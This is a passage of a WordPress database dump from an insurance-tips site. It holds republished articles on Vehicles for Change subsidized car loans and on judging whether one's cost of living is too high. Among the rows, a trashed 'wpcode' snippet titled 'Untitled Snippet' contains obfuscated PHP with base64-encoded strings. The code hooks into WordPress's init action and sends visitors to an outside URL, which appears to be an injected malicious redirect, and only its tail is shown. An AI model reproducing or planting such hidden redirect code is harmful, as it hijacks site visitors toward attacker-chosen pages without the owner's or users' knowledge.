biggest hardship are also those who often get stuck with the highest interest rates. VFC and programs like it help provide low-interest loans to lower-income consumers, helping them rebuild their credit and get out of poverty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Applicants to VFC need a referral from a social service agency and must meet certain income and work requirements, including having about $500 in savings to cover insurance and registration costs. If accepted, VFC arranges low-cost 12-month loans for applicants, with a typical monthly payment between $80 and $90. Having a prior bankruptcy or repossession has no impact on the applicant’s chance of being approved, says Simone Baptiste, VFC’s director of communications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most cars in VFC’s program, many of them donated, are under 15 years old, have been inspected for safety, and have no more than 150,000 miles on the odometer, Baptiste says. They also have a 6,000 mile, six-month powertrain warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nicholas Klein, a city and regional planning professor at Cornell who wrote the journal article and interviewed 30 VFC applicants in his research, found that the program vastly improved the lives of the people accepted into it. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, Donna told him that having a car meant she could get home 2 hours sooner every night to “cook dinner, help my kids with their homework, give the baby a bath.” Others were able to find higher-paying jobs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Having access to a car confers accessibility gains,” Klein says. “You can just get to more things.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although detailed data on outcomes for VFC participants isn’t available, Klein’s anecdotal observations track with other studies that strongly tie car ownership to a higher income and a better quality of life. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For one thing, access to a car—especially in the many places in the U.S. with nonexistent or unreliable public transportation—makes it easier to get to work on time and therefore keep a job, or find new, better-paying work opportunities. Mobility also has a positive impact on lifestyles. “When we speak to recipients, so many of them are just so excited to take their children out on an adventure,” Baptiste says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">A Nationwide Program?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some critics of subsidized car ownership programs worry that it could negatively contribute to problems like pollution and suburban sprawl, Klein’s paper says. Some are also concerned that the financial burden of car ownership will be too challenging for low-income people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Klein says critics “fail to consider what happens in the absence of these programs.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, low-income car borrowers are often left to contend with the used-car market, where they may wind up obtaining financing at high annual percentage rates for cars that are unreliable and ultimately break down. Many of the people Klein interviewed would have bought a car were it not for VFC, he says, “but I don’t think the outcomes would’ve been as good.” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When you have a low income, “the options for buying a car are really bad,” he says. “The used-car market is treacherous, but the degree to which it was was really shocking. People were getting scammed, buying lemons.” Over the course of more than a decade, one interviewee said she bought seven cars that were unreliable or ended up breaking down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Klein’s observations complement the findings of an investigation by Consumer Reports into auto lending. We found that lower-credit consumers can pay interest rates that exceed 25 percent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“It really highlights the degree to which households with low incomes are facing precarious car ownership,” Klein says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Where to Get Help</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you live in Virginia or Maryland, go to the Vehicles for Change website for information about eligibility requirements and how to apply to the program. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also more than 120 other similar programs around the country, according to Working Cars for Working Families, an initiative of the nonprofit National Consumer Law Center. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those programs provide low-interest loans for car purchases and may match savings for down payments and purchases, the group’s website says.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Klein’s study also notes the existence of local government partnership programs to help low-income consumers repair cars, like the Tune In &amp; Tune Up initiative in the San Joaquin Valley of California, which helps subsidize repairs of vehicles that fail smog tests. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/car-financing/helping-low-income-people-afford-cars-a9197302680/\">click here.</a></p>\n<!-- /wp:paragraph -->','Helping Low-Income People Afford Cars','','publish','closed','closed','','helping-low-income-people-afford-cars','','','2024-03-22 15:14:13','2024-03-22 15:14:13','',0,'https://smartinsurance.tips/?p=3883',0,'post','',0),(3884,1,'2024-03-22 15:12:33','2024-03-22 15:12:33','','Untitled-7','','inherit','closed','closed','','untitled-7','','','2024-03-22 15:12:33','2024-03-22 15:12:33','',3883,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-7.png',0,'attachment','image/png',0),(3885,1,'2024-03-22 15:14:13','2024-03-22 15:14:13','<!-- wp:paragraph -->\n<p>For many, a car isn\'t a luxury but a necessity. The Vehicles for Change program suggests that subsidized loans may be a solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3884,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-7-1024x1024.png\" alt=\"\" class=\"wp-image-3884\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mornings were mayhem back when Donna, then a 32-year-old mother of small children, was carless. She had to wake up her kids at 5 a.m. to get them to school via public transportation.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“I’m like, ‘Kids, hit the granola bar,’ ” she told a researcher in an interview for a paper published last year in the Journal of Planning Education and Research. “Let’s roll.” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That changed after Donna, who was identified by first name in the paper, connected with the nonprofit organization Vehicles for Change (VFC), which describes itself as the nation’s largest affordable car ownership program. Since 1999, VFC has provided more than 7,000 cars, trucks, and minivans to low-income carless households throughout Maryland, Virginia, and Washington, D.C.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For most people in the U.S., having a car is a necessity, not a luxury. But affording one is also a stretch for many people or poses such a financial burden that taking out a loan becomes a risk of its own. And the people who face the biggest hardship are also those who often get stuck with the highest interest rates. VFC and programs like it help provide low-interest loans to lower-income consumers, helping them rebuild their credit and get out of poverty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Applicants to VFC need a referral from a social service agency and must meet certain income and work requirements, including having about $500 in savings to cover insurance and registration costs. If accepted, VFC arranges low-cost 12-month loans for applicants, with a typical monthly payment between $80 and $90. Having a prior bankruptcy or repossession has no impact on the applicant’s chance of being approved, says Simone Baptiste, VFC’s director of communications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most cars in VFC’s program, many of them donated, are under 15 years old, have been inspected for safety, and have no more than 150,000 miles on the odometer, Baptiste says. They also have a 6,000 mile, six-month powertrain warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nicholas Klein, a city and regional planning professor at Cornell who wrote the journal article and interviewed 30 VFC applicants in his research, found that the program vastly improved the lives of the people accepted into it. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, Donna told him that having a car meant she could get home 2 hours sooner every night to “cook dinner, help my kids with their homework, give the baby a bath.” Others were able to find higher-paying jobs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Having access to a car confers accessibility gains,” Klein says. “You can just get to more things.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although detailed data on outcomes for VFC participants isn’t available, Klein’s anecdotal observations track with other studies that strongly tie car ownership to a higher income and a better quality of life. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For one thing, access to a car—especially in the many places in the U.S. with nonexistent or unreliable public transportation—makes it easier to get to work on time and therefore keep a job, or find new, better-paying work opportunities. Mobility also has a positive impact on lifestyles. “When we speak to recipients, so many of them are just so excited to take their children out on an adventure,” Baptiste says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">A Nationwide Program?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some critics of subsidized car ownership programs worry that it could negatively contribute to problems like pollution and suburban sprawl, Klein’s paper says. Some are also concerned that the financial burden of car ownership will be too challenging for low-income people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Klein says critics “fail to consider what happens in the absence of these programs.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, low-income car borrowers are often left to contend with the used-car market, where they may wind up obtaining financing at high annual percentage rates for cars that are unreliable and ultimately break down. Many of the people Klein interviewed would have bought a car were it not for VFC, he says, “but I don’t think the outcomes would’ve been as good.” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When you have a low income, “the options for buying a car are really bad,” he says. “The used-car market is treacherous, but the degree to which it was was really shocking. People were getting scammed, buying lemons.” Over the course of more than a decade, one interviewee said she bought seven cars that were unreliable or ended up breaking down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Klein’s observations complement the findings of an investigation by Consumer Reports into auto lending. We found that lower-credit consumers can pay interest rates that exceed 25 percent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“It really highlights the degree to which households with low incomes are facing precarious car ownership,” Klein says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Where to Get Help</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you live in Virginia or Maryland, go to the Vehicles for Change website for information about eligibility requirements and how to apply to the program. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also more than 120 other similar programs around the country, according to Working Cars for Working Families, an initiative of the nonprofit National Consumer Law Center. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those programs provide low-interest loans for car purchases and may match savings for down payments and purchases, the group’s website says.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Klein’s study also notes the existence of local government partnership programs to help low-income consumers repair cars, like the Tune In &amp; Tune Up initiative in the San Joaquin Valley of California, which helps subsidize repairs of vehicles that fail smog tests. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/car-financing/helping-low-income-people-afford-cars-a9197302680/\">click here.</a></p>\n<!-- /wp:paragraph -->','Helping Low-Income People Afford Cars','','inherit','closed','closed','','3883-revision-v1','','','2024-03-22 15:14:13','2024-03-22 15:14:13','',3883,'https://smartinsurance.tips/?p=3885',0,'revision','',0),(3886,1,'2024-03-23 22:40:15','0000-00-00 00:00:00','Thank you for reading this post, don\'t forget to subscribe!','Display a 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if(substr($n20,0,4)===base64_decode(\'aHR0cA==\')){$r11[$t10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$r11);wp_redirect($n20);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-2','','','2024-04-10 16:53:35','2024-04-10 16:53:35','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(3890,1,'2024-03-26 23:00:17','2024-03-26 23:00:17','<!-- wp:paragraph -->\n<p>Understand the Relationship Between Your Cost of Living and Income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3891,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-8-1024x1024.png\" alt=\"\" class=\"wp-image-3891\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Your cost of living is one of the most important factors in your financial success. The more you pay to live, the less you have to save for emergencies or retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">However, it might be hard to pin down what your cost of living is and determine whether it’s higher than is ideal. To figure this out, you’ll need to understand what cost of living is, how it relates to your income, and how you can use available tools to answer the all-important question: Is my cost of living too high?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Income and Cost of Living</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">The more money you earn, the more you can afford in nearly every aspect: a larger home payment, car payment, food costs, utilities, and more. And the same goes for low-income earners. The less money you make, the less you can put toward your home, transportation, and food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">However, how much you can afford depends on where you live in addition to how much you earn. Knowing your area’s living wage calculation helps you understand whether your cost of living is too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">“Living wage” refers to the hourly wage you need to earn working 40 hours a week to meet the minimum standards of living. This figure will change based on where you live. For example, an adult with two children would have to earn $49.18 an hour in the New York City-Newark-Jersey City area just to meet their basic daily needs. However, that same adult would only have to earn a living wage of $33.91 in Pittsburgh.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">So if you’re wondering whether where you live is too expensive for you, find the living wage for your city or town and compare it to your income. If you earn less than the living wage for your area, your cost of living will likely be too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Compare Your Cost of Living to Local Averages</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">To get a sense of the overall cost of living where you are, crunch the numbers with a cost-of-living calculator.&nbsp;Here are a few reputable cost-of-living calculators:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-16\"><!-- wp:list-item -->\n<li><strong>The Census Bureau’s QuickFacts</strong>: This<strong> </strong>national database shows you the average monthly costs of basic expenses like housing and internet. It also gives you an overview of a city’s demographics, education, and household income.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Economic Policy Institute (EPI) Family Budget Calculator</strong>: The EPI’s calculator compares housing, food, child care, and other costs between different cities, counties, and states.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The Massachusetts Institute of Technology (MIT) Living Wage Calculator</strong>: This calculator shows a living wage for each city based on different family sizes. It also includes typical yearly costs for child care, housing, transportation, and taxes.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Not all calculators are the same, so you should use a few different tools to get a general idea of the average cost of living in your city or state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">As you work through these calculators, take a minute to compare your current city’s cost of living to another city in the same region or state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">For example, the living wage for a single adult with two kids is about $4.50 higher in the Philadelphia-Camden-Wilmington area than it is in Pittsburgh. While food expenses are the same in both cities, Philadelphia’s typical yearly child care and housing costs are each around $4,000 more than they are in Pittsburgh. These types of in-state disparities may lead you to consider a move to another city to bring down your cost of living.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">Is a High Cost of Living Impeding Your Financial Future?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">If you can meet all your current financial obligations, you may think your cost of living isn’t too high. However, most cost-of-living calculators don’t consider your financial future. Many describe what you need to earn as a living wage, but they usually don’t include contributions to an emergency fund, retirement, or other investment accounts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Nearly half of Americans have less than $100,000 saved for retirement, according to a 2020 TD Ameritrade study. But $100,000 won’t get most people very far in retirement—Fidelity estimates you should have saved 10 times your annual salary by the time you’re 67 years old. If you don’t include your retirement plan in your cost-of-living estimates, you aren’t getting a good long-term understanding of your financial situation. You might think your cost of living is fine when, in fact, it’s too high.<sup>4</sup><sup>5</sup></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">You’ll also want to think about your emergency savings. Generally, your emergency fund should be able to cover three to six months’ worth of expenses. But that’s not what most people are saving. Last summer, Acorns reported that 14% of Americans had completely depleted their emergency savings. And that figure doesn’t include the people who didn’t have extra savings set aside to begin with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Nearly 70% of Americans would have experienced financial difficulty if their paycheck was delayed by just one week, according to a 2020 survey from the American Payroll Association. This is a sign that many people are dealing with a cost of living that may be too high for their income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">As you consider your cost of living, make sure to consider your future needs. If you can’t fit emergency savings or retirement contributions into your budget, it could be a sign that your cost of living is too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Consider Cost of Living Before Moving</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">If you’re thinking about moving to a new city, research the cost of living first. If you’re moving for a job, the cost of living in your new city should be as much of a factor in your decision as your potential new salary. After all, if you’re earning more money but have a higher cost of living, you might not feel any better off than you are now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">For example, housing is a major part of cost of living for most people. A good rule of thumb is to spend about 30% of your income on housing costs. Once you venture beyond 50%, you’re likely spending too much on your housing. If you’re offered a job with a company that has offices in Pittsburgh and New York, consider the following data before choosing where to move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">If you’ll earn $3,000 a month in Pittsburgh, your rent would be just over 30% of your income. But if you earned the same salary in the New York area, your rent would eat up nearly 50% of your income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Take a minute to calculate what percentage of your income goes to your mortgage payment or rent. If the figure is 50% or more, it’s an indication that your cost of living may be too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-44\">How to Lower Your Cost of Living</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">If you’ve realized that your cost of living is too high, you have options. One of the most effective ways to lower your cost of living is to move to a place where every dollar stretches further. If you live in a high-cost metro area, you might consider moving farther out of town or even out of state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Of course, moving isn’t always easy or accessible for everyone. Other ways to lower your cost of living include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol id=\"mntl-sc-block_1-0-49\"><!-- wp:list-item -->\n<li><strong>Create and maintain a budget</strong>: Write down much money you have coming in and all the things you have to pay for. Do you have any wiggle room to pay off major debts, like your student loan or car loan, to free up extra cash? Maybe you can cut down on extra spending, like dining out or online shopping.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review your bills</strong>: Some bills are flexible, like insurance and phone bills. Contact your service provider or lender to see if it’s possible to lower your bills. For instance, increasing your deductible on your car and health insurance can lower your premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Stop borrowing money</strong>:<strong> </strong>If you carry a balance on your credit card every month, you’re paying double-digit interest rates. Avoid interest by paying off your balance in full every month by your due date. Not borrowing money also means using cash whenever possible and skipping financing when you buy a car—essentially forcing yourself to stick to your budget.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Instead of lowering your cost of living, you could try to increase your income. Consider asking your boss for a raise, applying for a promotion, or starting a side hustle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/when-is-your-cost-of-living-too-high-5116186\">click here.</a></p>\n<!-- /wp:paragraph -->','When Is Your Cost of Living Too High?','','publish','closed','closed','','when-is-your-cost-of-living-too-high','','','2024-03-26 23:00:20','2024-03-26 23:00:20','',0,'https://smartinsurance.tips/?p=3890',0,'post','',0),(3891,1,'2024-03-26 22:57:22','2024-03-26 22:57:22','','Untitled-8','','inherit','closed','closed','','untitled-8-2','','','2024-03-26 22:57:22','2024-03-26 22:57:22','',3890,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-8.png',0,'attachment','image/png',0),(3892,1,'2024-03-26 23:00:17','2024-03-26 23:00:17','<!-- wp:paragraph -->\n<p>Understand the Relationship Between Your Cost of Living and Income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3891,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-8-1024x1024.png\" alt=\"\" class=\"wp-image-3891\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Your cost of living is one of the most important factors in your financial success. The more you pay to live, the less you have to save for emergencies or retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">However, it might be hard to pin down what your cost of living is and determine whether it’s higher than is ideal. To figure this out, you’ll need to understand what cost of living is, how it relates to your income, and how you can use available tools to answer the all-important question: Is my cost of living too high?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Income and Cost of Living</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">The more money you earn, the more you can afford in nearly every aspect: a larger home payment, car payment, food costs, utilities, and more. And the same goes for low-income earners. The less money you make, the less you can put toward your home, transportation, and food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">However, how much you can afford depends on where you live in addition to how much you earn. Knowing your area’s living wage calculation helps you understand whether your cost of living is too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">“Living wage” refers to the hourly wage you need to earn working 40 hours a week to meet the minimum standards of living. This figure will change based on where you live. For example, an adult with two children would have to earn $49.18 an hour in the New York City-Newark-Jersey City area just to meet their basic daily needs. However, that same adult would only have to earn a living wage of $33.91 in Pittsburgh.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">So if you’re wondering whether where you live is too expensive for you, find the living wage for your city or town and compare it to your income. If you earn less than the living wage for your area, your cost of living will likely be too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Compare Your Cost of Living to Local Averages</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">To get a sense of the overall cost of living where you are, crunch the numbers with a cost-of-living calculator.&nbsp;Here are a few reputable cost-of-living calculators:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-16\"><!-- wp:list-item -->\n<li><strong>The Census Bureau’s QuickFacts</strong>: This<strong> </strong>national database shows you the average monthly costs of basic expenses like housing and internet. It also gives you an overview of a city’s demographics, education, and household income.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Economic Policy Institute (EPI) Family Budget Calculator</strong>: The EPI’s calculator compares housing, food, child care, and other costs between different cities, counties, and states.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The Massachusetts Institute of Technology (MIT) Living Wage Calculator</strong>: This calculator shows a living wage for each city based on different family sizes. It also includes typical yearly costs for child care, housing, transportation, and taxes.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Not all calculators are the same, so you should use a few different tools to get a general idea of the average cost of living in your city or state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">As you work through these calculators, take a minute to compare your current city’s cost of living to another city in the same region or state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">For example, the living wage for a single adult with two kids is about $4.50 higher in the Philadelphia-Camden-Wilmington area than it is in Pittsburgh. While food expenses are the same in both cities, Philadelphia’s typical yearly child care and housing costs are each around $4,000 more than they are in Pittsburgh. These types of in-state disparities may lead you to consider a move to another city to bring down your cost of living.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-23\">Is a High Cost of Living Impeding Your Financial Future?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">If you can meet all your current financial obligations, you may think your cost of living isn’t too high. However, most cost-of-living calculators don’t consider your financial future. Many describe what you need to earn as a living wage, but they usually don’t include contributions to an emergency fund, retirement, or other investment accounts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Nearly half of Americans have less than $100,000 saved for retirement, according to a 2020 TD Ameritrade study. But $100,000 won’t get most people very far in retirement—Fidelity estimates you should have saved 10 times your annual salary by the time you’re 67 years old. If you don’t include your retirement plan in your cost-of-living estimates, you aren’t getting a good long-term understanding of your financial situation. You might think your cost of living is fine when, in fact, it’s too high.<sup>4</sup><sup>5</sup></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">You’ll also want to think about your emergency savings. Generally, your emergency fund should be able to cover three to six months’ worth of expenses. But that’s not what most people are saving. Last summer, Acorns reported that 14% of Americans had completely depleted their emergency savings. And that figure doesn’t include the people who didn’t have extra savings set aside to begin with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Nearly 70% of Americans would have experienced financial difficulty if their paycheck was delayed by just one week, according to a 2020 survey from the American Payroll Association. This is a sign that many people are dealing with a cost of living that may be too high for their income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">As you consider your cost of living, make sure to consider your future needs. If you can’t fit emergency savings or retirement contributions into your budget, it could be a sign that your cost of living is too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Consider Cost of Living Before Moving</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">If you’re thinking about moving to a new city, research the cost of living first. If you’re moving for a job, the cost of living in your new city should be as much of a factor in your decision as your potential new salary. After all, if you’re earning more money but have a higher cost of living, you might not feel any better off than you are now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">For example, housing is a major part of cost of living for most people. A good rule of thumb is to spend about 30% of your income on housing costs. Once you venture beyond 50%, you’re likely spending too much on your housing. If you’re offered a job with a company that has offices in Pittsburgh and New York, consider the following data before choosing where to move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">If you’ll earn $3,000 a month in Pittsburgh, your rent would be just over 30% of your income. But if you earned the same salary in the New York area, your rent would eat up nearly 50% of your income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Take a minute to calculate what percentage of your income goes to your mortgage payment or rent. If the figure is 50% or more, it’s an indication that your cost of living may be too high.</p>\n<!-- /wp:paragraph -->\n\n<!-- 